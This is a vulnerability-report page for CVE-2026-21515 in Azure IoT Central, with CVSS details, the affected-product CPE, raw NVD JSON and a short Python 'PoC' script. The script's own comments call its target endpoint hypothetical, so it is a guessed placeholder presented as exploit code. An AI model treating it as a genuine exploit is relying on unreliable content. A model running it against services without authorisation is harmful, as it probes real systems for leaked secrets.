Security Vulnerability Report
中文
CVE-2026-21515 CVSS 9.9 CRITICAL

CVE-2026-21515

Published: 2026-04-24 13:16:04
Last Modified: 2026-04-27 19:41:25

Description

Exposure of sensitive information to an unauthorized actor in Azure IOT Central allows an authorized attacker to elevate privileges over a network.

CVSS Details

CVSS Score
9.9
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:azure_iot_central:-:*:*:*:*:*:*:* - VULNERABLE
Azure IoT Central (具体受影响版本请参考官方公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-21515 PoC Concept for Azure IoT Central # This script demonstrates the potential for information disclosure leading to privilege escalation. # Usage: python poc.py <target_url> <auth_token> import sys def exploit(target_url, auth_token): headers = { "Authorization": f"Bearer {auth_token}", "User-Agent": "CVE-2026-21515-Scanner" } # Hypothetical endpoint that leaks sensitive info due to improper access control vuln_endpoint = f"{target_url}/api/v1/admin/config" try: response = requests.get(vuln_endpoint, headers=headers, timeout=10) if response.status_code == 200: print("[+] Successfully retrieved sensitive information!") print(f"[+] Data leaked: {response.text}") print("[*] Attacker can now use this data to escalate privileges.") else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python poc.py <target_url> <auth_token>") else: exploit(sys.argv[1], sys.argv[2])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21515", "sourceIdentifier": "[email protected]", "published": "2026-04-24T13:16:03.610", "lastModified": "2026-04-27T19:41:24.863", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "Exposure of sensitive information to an unauthorized actor in Azure IOT Central allows an authorized attacker to elevate privileges over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:azure_iot_central:-:*:*:*:*:*:*:*", "matchCriteriaId": "D625FE00-39AD-402B-B371-F479F7236AF2"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21515", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}